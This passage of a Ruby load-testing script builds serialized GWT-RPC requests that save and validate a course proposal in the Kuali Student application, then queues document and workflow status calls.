\"5|0|190|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|2|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|1|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|3|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|7|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|principalId|#{opts[:collaborator]}|permission|KS-SYS~Edit Document|action|F|firstName|lastName|actionRequestStatus|New|author\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489516951|1309965025280|231000000|8|40|14|59|8|41|38|39|3489523415|1309965025280|695000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489523331|1309965025280|611000000|8|40|14|59|8|41|38|39|3489523333|1309965025280|613000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325\"\n contents3 = \"|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489513388|1309965025280|668000000|8|40|14|59|8|41|38|39|3489523378|1309965025280|658000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489513379|1309965025280|659000000|8|40|14|59|8|41|38|39|3489523370|1309965025280|650000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489508904|1309965025280|184000000|8|40|14|59|8|41|38|39|3489523333|1309965025280|613000000|8|42|14|111|-1|-448|8|136|10|-5|8|137|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|138|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|139|8|30|14|140|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489523331|1309965025280|611000000|8|40|14|59|8|41|38|39|3489523333|1309965025280|613000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|141|10|-5|8|142|14|143|8|46|14|62|8|144|14|145|8|123|17|5|6|7|0|2|18|-15|14|146|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|147|-535|-537|-529|-533|-1|-527|8|148|14|149|8|48|14|150|8|120|17|5|6|7|0|2|18|-15|14|151|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|152|-555|-557|-549|-553|-1|-547|8|153|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|154|17|5|6|7|0|0|-1|-579|8|155|17|5|6|7|0|3|8|156|38|39|3489508904|1309965025280|184000000|8|157|89|90|1|0|8|158|14|159|-1|-583|8|21|17|5|6|7|0|3|8|142|17|5|6|7|0|1|8|22|14|160|-597|-599|8|144|17|5|6|7|0|1|8|22|14|145|-597|-605|8|13|17|5|6|7|0|1|8|22|14|161|-597|-611|-1|-595|8|162|17|5|6|7|0|12|8|163|14|164|8|30|14|165|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3489509135|1309965025280|415000000|8|40|14|59|8|41|38|39|3489524194|1309965025280|474000000|8|42|14|166|-619|-625|8|44|14|65|8|167|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|168|14|169|8|170|17|5|6|7|0|0|-619|-651|8|171|17|5|6|7|0|0|-619|-655|8|172|14|173|8|46|14|174|8|48|14|175|8|176|14|177|-1|-617|8|178|17|5|6|7|0|1|8|179|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|180|14|181|8|182|14|183|8|184|14|185|8|186|14|181|8|187|14|181|8|188|14|189|8|190|10|-5|-673|-675|-669|-671|-1|-667|0|0|\"\n else\n contents1 = \"5|0|179|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|2|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|1|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|3|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|7|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491266071|1309965025280|351000000|8|40|14|59|8|41|38|39|3491272352|1309965025280|632000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491272235|1309965025280|515000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491262219|1309965025280|499000000|8|40|14|59|8|41|38|39|3491272295|1309965025280|575000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491262210|1309965025280|490000000|8|40|14|59|8|41|38|39|3491272289|1309965025280|569000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428\"\n contents3 = \"|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491257291|1309965025280|571000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|111|-1|-448|8|136|10|-5|8|137|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|138|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|139|8|30|14|140|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491272233|1309965025280|513000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|141|10|-5|8|142|14|143|8|46|14|62|8|144|14|145|8|123|17|5|6|7|0|2|18|-15|14|146|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|147|-535|-537|-529|-533|-1|-527|8|148|14|149|8|48|14|150|8|120|17|5|6|7|0|2|18|-15|14|151|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|152|-555|-557|-549|-553|-1|-547|8|153|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|154|17|5|6|7|0|0|-1|-579|8|155|17|5|6|7|0|3|8|156|38|39|3491257291|1309965025280|571000000|8|157|89|90|1|0|8|158|14|159|-1|-583|8|21|17|5|6|7|0|3|8|142|17|5|6|7|0|1|8|22|14|160|-597|-599|8|144|17|5|6|7|0|1|8|22|14|145|-597|-605|8|13|17|5|6|7|0|1|8|22|14|161|-597|-611|-1|-595|8|162|17|5|6|7|0|12|8|163|14|164|8|30|14|165|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491257553|1309965025280|833000000|8|40|14|59|8|41|38|39|3491273130|1309965025280|410000000|8|42|14|166|-619|-625|8|44|14|65|8|167|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|168|14|169|8|170|17|5|6|7|0|0|-619|-651|8|171|17|5|6|7|0|0|-619|-655|8|172|14|173|8|46|14|174|8|48|14|175|8|176|14|177|-1|-617|8|178|17|5|6|7|0|1|8|179|17|5|6|7|0|0|-669|-671|-1|-667|0|0|\"\n end\n\n # Save & Continue\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:action_request_id_name], \"regexp\" => opts[:action_request_id_regexp]}\n ]\n }\n )\n \n #@request.add(\"DEBUG/affliated_orgs_id_name/%%_#{opts[:action_request_id_name]}%%\", {}, {'subst' => 'true'})\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|F189A2C8AED6D8071F8F9362674CF016|org.kuali.student.core.document.ui.client.service.DocumentRpcService|isAuthorizedUploadDocuments|java.lang.String/2004016611|%%_#{opts[:proposal_dyn_var_name]}%%|referenceType.clu.proposal|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|F189A2C8AED6D8071F8F9362674CF016|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:proposal_dyn_var_name]}%%|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Support Documents\n # Nothing uploaded\n #\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|F189A2C8AED6D8071F8F9362674CF016|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:proposal_dyn_var_name]}%%|1|2|3|4|2|5|5|6|7|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n\n if(!opts[:collaborator].nil?)\n contents1 = \"5|0|194|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|3|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|2|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|4|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|6|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|8|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|action|F|actionRequestId|%%_#{opts[:action_request_id_name]}%%|actionRequestStatus|Active|author|canRevokeRequest|firstName|#{opts[:collaborator]}|lastName|permission|KS-SYS~Edit Document|principalId\"\n contents2 = 